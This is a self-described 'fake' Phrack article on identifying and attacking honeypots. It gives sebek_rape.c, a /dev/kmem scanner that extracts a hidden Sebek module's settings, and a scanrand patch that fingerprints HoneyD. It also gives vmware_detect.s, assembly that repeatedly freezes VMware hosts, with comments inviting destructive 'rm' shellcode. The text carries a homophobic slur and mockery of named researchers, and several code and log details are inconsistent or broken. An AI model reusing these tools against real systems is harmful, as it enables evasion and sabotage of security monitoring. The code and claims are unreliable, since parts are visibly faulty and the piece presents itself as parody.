fake phrack ;)
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x0f
|=----------------=[ Advanced Honey Pot Identification ]=---------------=|
|=-----------------------=[ And Exploitation ]=------------------------=|
|=----------------------------------------------------------------------=|
|=------------------------=[ Joseph Corey ]=-------------------------=|
"Listen to Me! I'm Lance Spitzner and I have CIA Funding!"
- Lance Spitzner, Mexico G-Con 2003 (Drunk on Tequila)
1 - Forward
2 - Sebek 2
2.1 - sebek_rape.c
3 - Remote HoneyD Viewing
3.1 - paketto-1.10-honeyDetect.patch
4 - Detection of Virtual Honeypots, How Soon We Forget.
4.1 - vmware_detect.s
5 - Encore du Vmware
6 - Conclusion
--[ 1. Forward
It has been an exciting past three months. Since writing for Phrack 62,
I have recieved many emails of support from the fans of AHA (The
AntiHoneynet Alliance). The success of the last article has prompted the
Phrack Editors to request an update to the work presented in the
previous article. Despite an intense class schedule, I hope that I can
present you with a enlightening and yet entertaining article on Anti
Honeynet Technologies.
In the previous article I looked at the underlying flaws which make
honeypots an unworkable technology and how it was possible to identify
honeypots by the software they were running and looking for
abnormalities introduced by the honeypot. This article continues the
demonstration of the underlying flawed premises in the Honeynet project
by revisiting sebek to demonstrate what can be done once it is detected,
How HoneyD can be remotely detected, and presenting a method to detect
and disable Virtual HoneyNets that can be combined with any already
available public exploit.
--[ 2. Sebek 2
Since the release of the first article, sebek has undergone some
revisions. None of which have done any good at making sebek a better
key logger. Infact, sebek remains as the only keylogger more useless and
easy to detect then thc-vlogger 2.1 -- but thats an article for another
time.
The question most recieved was how can sebek2 be exploited once it is
detected? The answer is quite simple -- Sebek server 2.1.3 uses libpcap
to capture packets.
Now, before we go jumping to arbitrary code execution, there are a
couple problems that have to be overcome in order to deliver our packet
of christmas cheer. First the destination ip address where the exploit
will be targeted must be known. Since the exploit should bypass any
ip-layer filtering done by the sebek workstation it will also be
necessary to discover the MAC address associated with the Sebek Server's
IP While at it, it is usefull to also discover the super sekret
magic_value and source port. This can be used to ensure that any other
compromised honeypots are unable to sniff the traffic targeting the
sebek sever.
*ED: Isn't it nice for Edward to make it easier for us not to expose our
* exploits by supplying free filtering in the kernel! You almost dont
* need a rootkit. Hats off to you Edward.
The discovery of this information is seemingly complex or impossible at
first glance. On linux, for example, Sebek hides the module symbols by
using the EXPORT_NO_SYMBOLS directive to prevent internal symbols from
being added to the kernel symbol list. If that were not enough, sebek is
commonly removed from the module list by using a cleaning module. Once
removed from the module list, sebek will no longer appear in the listing
of modules -- any remaining symbols are safely hidden. Or so one would
think.
Even with the EXPORT_NO_SYMBOLS directive a few sebek symbols are still
defined. The symbols are necessary to link the module to the kernel.
These necessary symbols are the ELF section definitions. These are
visable by grepping /proc/ksyms on linux for "sebek" after the module is
loaded. One that is of particular intrest is the symbol
"_insmod_sebek.S.data". This symbol marks the beginning of the data
section of the sebek binary, where global varables in the module will
appear. A few of the more intresting global varables are the
destination_ip, destination_mac, source port, and magic_value.
It would be easy to find the section definitions if the symbol list were
still attached to the linked list of modules. A traversal of the module
list looking in the symbol array of each module would quickly reveal the
sebek module. But, as I mentioned, sebek provides for the removal of the
module informaiton (and the symbol information) from the kernel by using
the cleaner module. However, the removal of the module structure from
the list only serves to obscure the information. And Everyone knows
Security thru Obscurity is shorthand for 0wnage.
Instead of a kernel module to discover and extract the symbol
informaiton (that would be way to easy), A program is provided that will
discover the informaiton by reading from /dev/kmem.
The program, when run against a sebek server will display the discovered
inforomation. Here's an example of a run on a development box:
[root@eeyore sebek-linux-2.1.3]# cat sebek.h
--SNIP--
#define BUFLEN 1400
#define SPORT 31337
#define DPORT 6969
#define MAGIC 0x00187350
--SNIP--
# Thats the important part -- the sport, dport, and magic have been set
# to sekret values. Next, load sebek.
[root@eeyore sebek-linux-2.1.3]# insmod sebek.o
# After loading the module, any good honeypot admin will load
# the cleaner to hide the module and the module's symbols.
[root@eeyore sebek-linux-2.1.3]# insmod cleaner.o
[root@eeyore sebek-linux-2.1.3]# lsmod
Module Size Used by Tainted: PF
cleaner 640 0 (unused)
[root@eeyore sebek-linux-2.1.3]# rmmod cleaner
[root@eeyore sebek-linux-2.1.3]# lsmod
Module Size Used by Tainted: PF
[root@eeyore sebek-linux-2.1.3]# cd ..
# Now, with sebek loaded.. its hidden.. right?
[root@eeyore HoneyPots]# ./sebek_rape
Address of __insmod_sebek_S.data is c697b580
Sebek Magic is 187350
Sebek Dest Port is 6969
Sebek Source Port is 31337
Sebek Source IP is 0
Sebek Dest IP is 0
Sebek Eth Src is 0: 0: 0: 0: 0: 0
Sebek Eth Dest is 0: 0: 0: 0: 0: 0
Additional development at this point could include disabling sebek by
modifying the values so that the sebek server would no longer pick up
the sebek log traffic. But, "That is left as an exercise for the
reader." The source for sebek_rape.c is included below:
----[ 2.1 sebek_rape.c
/*-----------------------------sebek_rape.c------------------------------*/
#include <sys/types.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#define FALSE 1
#define TRUE 0
#define NEGATIVE_ONE -1;
#define SEARCH_BUFFER (2048)
#define BAD_STRING "%s"
#define KMEM "/dev/kmem"
#define LOW_KMEM 0xC0000000
#define MAX_STRLEN 64
#define MAGIC_SYMBOL "__insmod_sebek_S.data"
#define OFFSET_MAGIC 0
#define OFFSET_DPORT 4
#define OFFSET_SPORT 6
#define OFFSET_SRC_IP 0x14c
#define OFFSET_DST_IP 0x148
#define OFFSET_ETH_SRC 0x182
#define OFFSET_ETH_DST 0x17c
int kfd = NEGATIVE_ONE;
void
bad (char *str)
{ fprintf (stderr, BAD_STRING, str); exit (1); }
int o_k (void)
{ kfd = open (KMEM, O_RDWR); }
int c_k (void)
{ close (kfd); }
int
rfk (unsigned int address, unsigned int bytes, char *buffer)
{
if (lseek (kfd, address, SEEK_SET) != address) return -1;
if (read (kfd, buffer, bytes) != bytes) return -1;
return bytes;
}
unsigned int
scnbuf (unsigned char **pptr, char *pattern, unsigned int length)
{
unsigned char *ptr;
unsigned int pattern_len;
unsigned char *location;
if (pptr == NULL || *pptr == NULL || pattern == NULL || *pattern == '\0' || length == 0) return 0;
pattern_len = strlen (pattern);
ptr = *pptr;
location = (char *) memmem (ptr, length, pattern, pattern_len);
*pptr = location;
if (location == NULL) return 0; else return 1;
}
unsigned int ciksym (unsigned int occ_in_kmem) { unsigned int *buf;
unsigned int pos; unsigned int numbytes; buf = (unsigned int *) malloc
(SEARCH_BUFFER + sizeof (unsigned int)); for (pos = LOW_KMEM; FALSE; pos
+= SEARCH_BUFFER) { int index; unsigned int **occ; occ = (unsigned int
**) malloc (sizeof (void *)); if (!occ) bad ("Unable to allocate
memory.\n"); bzero (buf, SEARCH_BUFFER + sizeof (unsigned int)); if
((numbytes = rfk (pos, SEARCH_BUFFER + 4, (unsigned char *) buf) < 0))
break; *occ = buf; for (index = 0; index < (SEARCH_BUFFER / sizeof
(unsigned int)); index++) { if (buf[index] == occ_in_kmem) { unsigned
int offib; unsigned int value; unsigned int value2; offib = (unsigned
int) &buf[index] - (unsigned int) buf; rfk ((pos + offib - 4), 4,
(unsigned char *) &value); if (value > 0xC0000000) { free (buf); return
value; }
}
}
}
free (buf);
return 0;
}
unsigned int
ksf (char *symnam)
{
unsigned char *buf;
unsigned int pos;
unsigned int numbytes;
unsigned int ksa;
unsigned int lsf = 0;
if (strlen (symnam) > MAX_STRLEN) return 0;
buf = (char *) malloc (SEARCH_BUFFER + MAX_STRLEN);
if (!buf) return 0;
for (pos = LOW_KMEM; FALSE; pos += SEARCH_BUFFER)
{
unsigned char **occ;
occ = (unsigned char **) malloc (sizeof (void *));
if (!occ) bad ("Unable to allocate memory.\n");
bzero (buf, SEARCH_BUFFER + MAX_STRLEN);
if ((numbytes = rfk (pos, SEARCH_BUFFER + MAX_STRLEN, buf) < 0))
break;
*occ = buf;
sag:
if (scnbuf (occ, symnam, MAX_STRLEN + SEARCH_BUFFER - ((unsigned int) *occ - (unsigned int) buf)))
{
unsigned int offb;
offb = (unsigned int) *occ - (unsigned int) buf; ksa = ciksym ((pos + offb));
(*occ)++;
if (ksa)
{ free (buf); lsf = ksa; }
goto sag;
}
}
if (lsf) return lsf; else return 0;
}
unsigned int baalsds = 0;
int
main ()
{
unsigned int addr;
unsigned int dword;
unsigned short word;
unsigned char eth[6];
if (!o_k ()) bad ("unable to open kmem for reading.\n");
baalsds = ksf (MAGIC_SYMBOL);
if (baalsds < 0xC0000000) bad ("Cant find Symbol\n");
printf ("Address of %s is %x\n", MAGIC_SYMBOL, baalsds);
rfk (baalsds + OFFSET_MAGIC, 4, (unsigned char *) &dword);
printf ("Sebek Magic is %lx\n", dword);
rfk (baalsds + OFFSET_DPORT, 2, (unsigned char *) &word);
printf ("Sebek Dest Port is %d\n", word);
rfk (baalsds + OFFSET_SPORT, 2,
(unsigned char *) &word);
printf ("Sebek Source Port is %d\n", word);
rfk (baalsds + OFFSET_SRC_IP, 4, (unsigned char *) &dword);
printf ("Sebek Source IP is %x\n", dword);
rfk (baalsds + OFFSET_DST_IP, 4, (unsigned char *) &dword);
printf ("Sebek Dest IP is %x\n", dword);
for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_SRC + word, 1, eth + word);
printf ("Sebek Eth Src is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1], eth[2], eth[3], eth[4], eth[5]);
for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_DST + word, 1, eth + word);
printf ("Sebek Eth Dest is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1], eth[2], eth[3], eth[4], eth[5]);
return 0;
}
/*-----------------------------sebek_rape.c------------------------------*/
Now, having this information it can be fed into a libpcap 0.81 exploit
modified to work against the sebek server, phcebek. If successful, the
shellcode will open a listening and spawn a shell in response to each
incoming connection.
*ED: It is with deep regret that we have had to retract the phcebek
* tool out of the * article because we can not support the
* publication of vulnerability information despite it affecting
* honeypots. We apologize for this inconvenience, but wish
* to assure you, the reader, that it was totally awesome.
Looking forward, I would expect the Honeynet project to quickly address
this vulnerability by attempting to destroy the symbol string or even the
whole symbol array attached to the module structure before it is removed
from the module list. This is a very logical approach. It is also very
ineffective. Instead of extracting the symbols from the left-over symbol
list, the values necessary to deliver the exploit could be extracted
from the running system using many other techniques, such as extracting
the varables from the af_packet interface, or the trasmit function
called from within the bogus sys_read.
--[ 3. Remote HoneyD Viewing
In Phrack 62, a article was published in the Linenoise section listing
the IP addresses of Niels' HoneyD systems. Recently a major new update
was published for HoneyD. This update fixed none of the security
problems with the previous version, but succeeded in introducing even
more vulnerabilities.
However, before it is possible to exploit a HoneyD system you must know
where a HoneyD system is located. Finding a HoneyD system would seem to
be difficult -- HoneyD is intended to be invisible and to skillfully
emmulate a network of 'real' machines in order to provide fodder for
poorly written papers on the detection of spam, worms, or evil hackers.
The concepts arround detecting HoneyD are very complex, so I will
attempt to explain them in such a way that a CISSP can understand.
What is necessary is an unexpected network condition that will cause
HoneyD to respond to a remote system in a way that would indicate that
the box is a HoneyD system. This is called a Fingerprint. The act of
finding a Fingerprint for a system such as HoneyD is called
Fingerprinting. Fingerprinting is a complex process where a Security
Researcher throws random garbage network packets at a system hoping to
cause it to respond in a way or at a time that it should not respond.
Our crack team of "Security Researchers" found that a BAD syn packet
could cause HoneyD to respond when it should not respond. This is a
Fingerprint.
A Syn packet is a network packet that is sent from one computer, lets
call it Ralphie, to another computer, Shep, when Ralphie wants to talk
to Shep over "TCP/IP". This is called "Opening a Connection". The Syn
packet is a Syn packet because the syn bit is set in the tcp flags. When
the connection is over either Ralphie or Shep will send a FIN or a RST
packet. FIN and RST packets end connections. If you try to "Open a
Connection" then you are not trying to "Close a Connection". If you see
a packet that says "Open a Connection" and "Close a Connection" then it
is a "Bad Packet". Computers should not respond to these Bad Packets
unless they are HP Laserjet Printers. HoneyD is not a HP Laserjet
Printer. HoneyD should not respond to these "Bad Packets". HoneyD
responds to these "Bad Packets". This is Bad.
It is Good that HoneyD is Bad. Because HoneyD is bad it is possible to
remotely sense the presence of a HoneyD system. To scan for Bad HoneyD
systems a modified version of scanrand was developed in Anti Honeynet
Alliance members.
To demonstrate a network containing one real machine and a HoneyD
honeypot was set up. The hosts 10.1.2.202 and 10.1.2.203 are Virtual
HoneyD systems. 10.1.2.1 is a real system. All three systems are running
sshd on port 22 and 10.1.2.202 is running telnet (the host is a cisco
router):
-------------------------------------------------------------------------------
[root@piglett src]# telnet 10.1.2.202
Trying 10.1.2.202...
Connected to 10.1.2.202.
Escape character is '^]'.
Users (authorized or unauthorized) have no explicit or
implicit expectation of privacy. Any or all uses of this
system may be intercepted, monitored, recorded, copied,
audited, inspected, and disclosed to authorized site,
and law enforcement personnel, as well as to authorized
officials of other agencies, both domestic and foreign.
By using this system, the user consents to such
interception, monitoring, recording, copying, auditing,
inspection, and disclosure at the discretion of authorized
site.
Unauthorized or improper use of this system may result in
administrative disciplinary action and civil and criminal
penalties. By continuing to use this system you indicate
your awareness of and consent to these terms and conditions
of use. LOG OFF IMMEDIATELY if you do not agree to the
conditions stated in this warning.
User Access Verification
Username:
telnet> quit
Connection closed.
[root@piglett src]# telnet 10.1.2.202 22
Trying 10.1.2.203...
Connected to 10.1.2.203.
Escape character is '^]'.
SSH-1.5-2.40
^]
telnet> quit
Connection closed.
[root@piglett src]# telnet 10.1.2.204 22
Trying 10.1.2.1...
Connected to 10.1.2.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3
Protocol mismatch.
Connection closed by foreign host.
-------------------------------------------------------------------------------
To detect the HoneyD system we only need run the modified scanrand
binary using normal syntax. It will list HoneyD systems it finds during
the scan:
-------------------------------------------------------------------------------
[root@piglett src]# ls -l scanrand
-rwxr-xr-x 1 jcorey jcorey 782304 Dec 7 12:10 scanrand
[root@piglett src]# ./scanrand --help
scanrand 1.10: Stateless TCP Scanner w/ Inverse SYN Cookies(HMAC-SHA1/32 in SEQ)
Component of: Paketto Keiretsu 1.10; Dan Kaminsky (dan@doxpara.com)
Example: scanrand -b10M 10.0.1.1-254:80,20-25,139
Def. Ports: Use [quick/squick/known/all] instead of explicitly naming ports
Options: -S/-L: Only send requests / Only listen for responses
-e/-E: Show negative responses / Only show negative responses
-t [timeout]: Wait n full seconds for the last response (10s)
-b[bandwidth]: Limit bandwidth consumption to n b/k/m/g bytes(0)
(0 supresses timeouts or maximizes bw utilization)
-N/-NN : Enable name resolution (Prefer Source/Dest)
-v : Mark packets being sent, as well as received
-vv : Output full packet traces to stderr
Addressing: -d [device]: Send requests from this L2 hardware device
-i [source]: Send requests from this L3 IP address
-p [ port]: Send requests from this L4 TCP Port
-s [ seed]: Use prespecified seed for scan verification
-f [ file]: Read list of targets from file
Experiments: -l [ttl-ttl]: Statelessly TCP Traceroute
-D : Distco (Distance Discover) via forced RSTs
-c : Try checking Inverse SYN Cookie on Traceroute
Notes: Use Control-C to exit before scanrand times out.
Be sure to use a longer timeout for slow scans!
[n]: estimated network distance from target host.
Be careful about available bandwidth -- use -b!
[root@piglett src]# ./scanrand -b10k 10.1.2.1-255:23-22
HoneyD Found @: 10.1.2.202:22 [01] 8.123s
HoneyD Found @: 10.1.2.202:23 [01] 8.147s
HoneyD Found @: 10.1.2.203:22 [01] 8.172s
HoneyD Found @: 10.1.2.203:23 [01] 8.187s
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HoneyD is Found.
-------------------------------------------------------------------------------
The HoneyD version used in this example was 0.7a. The HoneyD system did
not notice anything strange in the scan. From the logs it appeared very
similar to a regular syn scan:
-------------------------------------------------------------------------------
honeyd[230]: Connection request: tcp (10.1.2.40:33254 - 10.1.2.202:22)
honeyd[230]: Connection established: tcp (10.1.2.40:33254 - 10.1.2.202:22) <-> scripts/test.sh
honeyd[230]: Connection closed: tcp (10.1.2.40:33254 - 10.1.2.202:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:22)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.202:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:23)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.202:23)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:23)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.203:23)
honeyd[230]: Expiring TCP (10.1.2.40:14619 - 10.1.2.203:22) (0x810eb58) in state 3
honeyd[230]: Expiring OS fingerprint for 10.1.2.40
Once detected, it is then trival to execute arbitrary code on the remote
system running HoneyD. Because HoneyD must talk to the network using
privileged networking sockets such as RAW, it is certain to be running as
root.
----[ 3.1 paketto-1.10-honeyDetect.patch
*
* ED: Heh, a Security Tool used to detect hackers being used as the
* entry point. Undoubtedly anyone running Honeynetworking tools
* doesnt worry about being compromised because they run snort.
*
The patch against paketto-1.10:
/*---------------------paketto-1.10-honeyDetect.patch----------------------*/
diff -r -c paketto-1.10/src/scanrand.c paketto-1.10-honeyd/src/scanrand.c
*** paketto-1.10/src/scanrand.c 2002-12-24 11:11:36.000000000 -0500
--- paketto-1.10-honeyd/src/scanrand.c 2003-12-07 12:10:53.000000000 -0500
***************
*** 301,313 ****
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32);
}
}
else if(x.icmp->icmp_type == ICMP_UNREACH)
{
! if(ic.ip->ip_p == IPPROTO_TCP && /* no TCP flags in ICMP's TCP chunklet */
(!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char *)ic.ip, seed)))
{
timeval_subtract(&diff, &pkthdr.ts, &start);
! gettimeofday(&then, NULL); /* just for the loop maintenance */
snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code);
snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src));
snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src));
--- 301,314 ----
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32);
}
}
+ /*
else if(x.icmp->icmp_type == ICMP_UNREACH)
{
! if(ic.ip->ip_p == IPPROTO_TCP && // no TCP flags in ICMP's TCP chunklet //
(!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char *)ic.ip, seed)))
{
timeval_subtract(&diff, &pkthdr.ts, &start);
! gettimeofday(&then, NULL); // just for the loop maintenance //
snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code);
snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src));
snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src));
***************
*** 323,328 ****
--- 324,330 ----
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf);
}
}
+ */
}
/* Accept SYN|ACKs and RST|ACKs */
***************
*** 342,350 ****
bzero(buf, sizeof(buf));
bzero(buf2, sizeof(buf2));
timeval_subtract(&diff, &now, &start);
! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted) snprintf(buf2, sizeof(buf2), " UP"); /* merry christmas */
! if(x.tcp->th_flags == (TH_RST | TH_ACK) && show_rejected) snprintf(buf2, sizeof(buf2), "DOWN"); /* happy holidays */
! if(x.tcp->th_flags == (TH_RST ) ) snprintf(buf2, sizeof(buf2), "DSCO"); /* santa got his ass handed to him */
if((int)buf2[0]) /* :-P */
{
fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2, inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport), estimate_hopcount(x.ip->ip_ttl));
--- 344,350 ----
bzero(buf, sizeof(buf));
bzero(buf2, sizeof(buf2));
timeval_subtract(&diff, &now, &start);
! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted) snprintf(buf2, sizeof(buf2), " HoneyD Found @"); /* merry christmas */
if((int)buf2[0]) /* :-P */
{
fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2, inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport), estimate_hopcount(x.ip->ip_ttl));
diff -r -c paketto-1.10/src/scanutil.c paketto-1.10-honeyd/src/scanutil.c
*** paketto-1.10/src/scanutil.c 2002-12-24 10:46:10.000000000 -0500
--- paketto-1.10-honeyd/src/scanutil.c 2003-12-07 12:05:51.000000000 -0500
***************
*** 282,288 ****
139, // dest port
420, // seq
0, // ack
! TH_SYN, // flags
4096, // win
0, // urgp
NULL, // tcp payload
--- 282,288 ----
139, // dest port
420, // seq
0, // ack
! TH_SYN | TH_RST , // flags
4096, // win
0, // urgp
NULL, // tcp payload
/*---------------------paketto-1.10-honeyDetect.patch----------------------*/
FOOTNOTE: Dan Kaminsky is also a whitehat fag; I only used this tool
because I didn't feel like writing something from scratch.
--[ 4. Detection of Virtual Honeypots, How Soon We Forget.
Virtual honeypots are a popular option among security 'researchers'
wishing to setup honeypots. They offer a multitude of benefits, none of
which are worth talking about. In all situations a Virtual host is setup
and deployed. The Virtulization software of choice by Honeynet members
is VMWARE. This is the best tool to use for setting up Virtual Honeypots
because they give free licenses to people who pump their product.
Highly learned people such as high school graduates and CISSPs will tell
you that VMWare, with the exception of the host's MAC address on its
network interfaces, is undetectable and that anything a hacker could do
would work just as well on a VMWare host as it would on a system
"running under its own power". This would truly be nice if it were not
also absolutely incorrect.
In november of 2002, Andrew Hintz published a tool he developed along
with Aaron Walters that would detect vmware by attempting a IO
operation on a backdoor port on the VMWare host that is used by
vmware-tools on the guest system to communicate with the VMWare process.
The backdoor IO port is described in detail at
http://chitchat.at.infoseek.co.jp/vmware/vmtools.html.
The backdoor port will allow a process running at ring 3 to initiate
various vmware actions such as adding hardware, removing hardware,
initiating dialog with the GUI interface on the host system, moving data
into and out of the host systems clipboard, and modifying preference
settings (such as using the hgfs on vmware 4).
By using the backdoor port, a malicious or bad hacker could cause
arbitrary code to execute on the host computer or modify any using the
security credentials of the user running vmware in the host computer.
Commands are sent to the backdoor port by requesting input or output via
the 5658h port and putting the VMWARE magic number of 564d5868 or "VMXh"
in the EAX register. The command to be executed is loaded into ECX and
any arguments to the command are passed in via EBX. A list of the
commands to the VMWARE backdoor and the arguments to those commands are
available from the website refrenced above.
If a call to the VMWARE port is made on a non-vmware system, then a
segfault will result. By checking for a segfault while issuing a vmware
command, it is possible to determine if you are executing on a vmware
host, and then react accordingly.
Below is a demonstration of how the VMware backdoor port could be used
for some clean, safe fun by a malicous attacker.
----[ 4.1 vmware_detect.s
/*-----------------------------vmware_detect.s------------------------------*/
.globl __safe
.type __safe, @function
__safe:
/**
** Insert code or callout to a function containing code that
** should only be executed when not on a honeypot.
**/
ret
.size __safe, .-__safe
.globl __hsegv
.type __hsegv, @function
__hsegv:
subl $12, %esp
call __safe
subl $12, %esp
pushl $0
call exit
.size __hsegv, .-__hsegv
.globl __vmwtst
.type __vmwtst, @function
__vmwtst:
subl $12, %esp
subl $8, %esp
pushl $__hsegv
pushl $11
call signal
addl $16, %esp
/** If it is a VMWARE system, leave a calling card. This
** will freeze the VMWARE system until the operator clicks OK.
** Honeypot people love this.
**/
.VMWAREROX:
movl $0x564D5868, %eax
/** Alternatively, the port may have been moved
** by using the pro-terrorist, white-flagger
** french patch. The proper port for them is
** 0x48506f74
**
** movl $0x48506f74, %ebx
**
** It is possible to call a new .VMWAREROXFROGS with
** the french number from within the signal handler,
** but be carefull ;).
**/
movl $0x3c6cf712, %ebx
movl $0x0000000C, %ecx
movl $0x5658, %edx;
in %dx, %eax;
jmp .VMWAREROX
/**
** Insert Code at this point that should be executed if you _MAY_
** be on a honeypot. Such fun things as using various inventive
** rm'ing shellcode is one possibility. You will need to delete
** the previous line or this code will not be reached.
**/
subl $12, %esp
pushl $-1
call exit
.size __vmwtst, .-__vmwtst
/*-----------------------------vmware_detect.s------------------------------*/
The above code will check to see if the host is a vmware host. If the
host is a vmware host it will freeze the host by bringing up a pop-up
screen on the Host computers console. If the host is a GSX host the
pop-up will be defered until a vmware-console is attached. In either
case the VMWare session will freeze untill the pop-up screen is
acknowledged. After the pop-up is acknowledged, the code will loop and
bring up another one. The fun never stops.
If vmware_detect were to be included in the shellcode delivered during
the exploitation of a vulnerable service, the ELF headers would need to
be removed. A JMP into the normal shellcode (to spawn a shell or
whatever) should be placed into the signal handler above. It will also
be necessary to identify the current position in memory where the
shellcode would be executing using various tricks such as calling
forward a predictable number of bytes. This will be left as an exercise
up to the reader.
--[ 5. Encore du Vmware
Recently, Kostyra Kortchinsky, a member of the French honeynet, published
a tool intended to conceal the obvious ways to locally fingerprint VMware
system. The tool modifies the names of IDE and SCSI devices, the Video
adapter, and changes the IO number of the back door port previously
discussed.
This tool represents significant time and effort put forth by Kostyra
in his failed attempt to to address a burning issue for all Honeynet
projects -- that its painfully obvious to the most brain-dead hacker
that they are being monitored. As you will see this tool does nothing
other then obscure the fact that the host is a VMware system.
Once running with root or administrator privileges, it is trivial
to determine that the hardware is emulated by VMware. If Kostyra's
tool to obscure the presence of VMware hardware is used, and we
detect the presence of real VMware hardware, we can be certain
that the host is a honeypot -- and we know we can safely have fun
at their expense.
IDE Drives
The first methods of detecting VMware hardware even with Kostyra's
modifications is to look at the IDE CD-Rom or Hard drive on the
system. To do this, we can use hdparm with the -I argument:
[root@localhost]# hdparm -I /dev/hda
/dev/hda:
ATAPI CD-ROM, with removable media
Model Number: VMware Virtual IDE CDROM Drive
Serial Number: 00000000000000000001
Firmware Revision: 00000001
Standards:
Likely used CD-ROM ATAPI-1
Configuration:
DRQ response: 50us.
Packet size: 12 bytes
Capabilities:
LBA, IORDY(can be disabled)
Buffer size: 32.0kB
DMA: sdma0 sdma1 sdma2 mdma0 mdma1 mdma2 udma0 *udma1 udma2
Cycle time: min=120ns recommended=120ns
PIO: pio0 pio1 pio2 pio3 pio4
Cycle time: no flow control=120ns IORDY flow control=120ns
Commands/features:
Enabled Supported:
* NOP cmd
* DEVICE RESET cmd
* PACKET command feature set
* Power Management feature set
Now, go look at the output on a regular cdrom drive running on your
system. Lets go over the differences.
ATAPI CD-ROM, with removable media
Model Number: VMware Virtual IDE CDROM Drive
Serial Number: 00000000000000000001
Firmware Revision: 00000001
These are dead give-aways. They can also be modified. While it is
surprising that the French Honeynet project utterly failed to notice
this, it should be expected that this oversight will be corrected.
Standards:
Likely used CD-ROM ATAPI-1
This is more telling. Look at your cdrom. VMware does give sufficient
information in the device's identity. Since before I ever logged
on to the Internet, before the days of the Pentium Pro, drives were
using ATAPI-2. The reason hdparm lists the standards as "Likely
used CD-ROM ATAPI-1" is because VMware does not return any determining
information -- hdparm is left guessing. This is a limitation of the
program code, and more telling then the Serial number or Firmware revision.
Commands/features:
Enabled Supported:
* NOP cmd
* DEVICE RESET cmd
* PACKET command feature set
* Power Management feature set
This portion of hdparm's output is the most telling. Normally this would
not be present. CD-Roms conform to the ATAPI CDROM standards. Features
and commands are something that hard drives should report -- not
IDE CdRoms.
These are not the only differences between a VMware drive and a normal
drive, but we do not want to give away all our tricks just yet.
I expect that Honeynet members will try to address this by modifying
hdparm on the honeypot systems. If they are ultra-sharp they may even
try to patch the ioctl system call, which hdparm uses to query the
IDE devices. Even in such case, it is trivial to implement
a kernel module or device driver that gives a clean interface
to the lower-level functions used by the ioctl to query the drives
information.
Similar leaked information and deviations from 'real' hardware are present
for SCSI devices, but thats for another day.
VMware Backdoor Port Redux
As previously mentioned, Kostyra's program also modifies the vmware port
magic number. If the backdoor port code is run with the wrong magic number
then the call to "in" will generate a segfault, making the system
appear to be a non-vmware host.
However, this does not remove the presence of the port itself -- it only
hides it. If one were to discover the port, the program would continue
as expected. What Kostyra is counting on is that no one, not even Phrack
labs, would dare to build a program that would increment the magic number
until the correct one is found, resetting the SEGV handler each time.
But thats for another day.
--[ 6. Conclusion
Once again it has been demonstrated how honeynet technologies fail to
deliver on their promise of secertly tracking hackers in order to help the
honeypot deployer better know his enemy. Everything in this article is
possible only because the honeynet project makes it possible by relying
on open discourse to develop and publish their honeypot strategies and
tactics. When a hacker compromises a system they are on a tactically
equal footing with the honeypot software. The only superiority that the
honeypot software has is wholely in the strategy of honeypot deployment
-- in deceiving the attacker of the honeypot's presence.
Without this strategic advantage honeypot software is useless. Because
attackers know the strategies of honeypot software they are also able to
prepare counter- stratagies like this paper has presented.
|=[ EOF ]=---------------------------------------------------------------=| |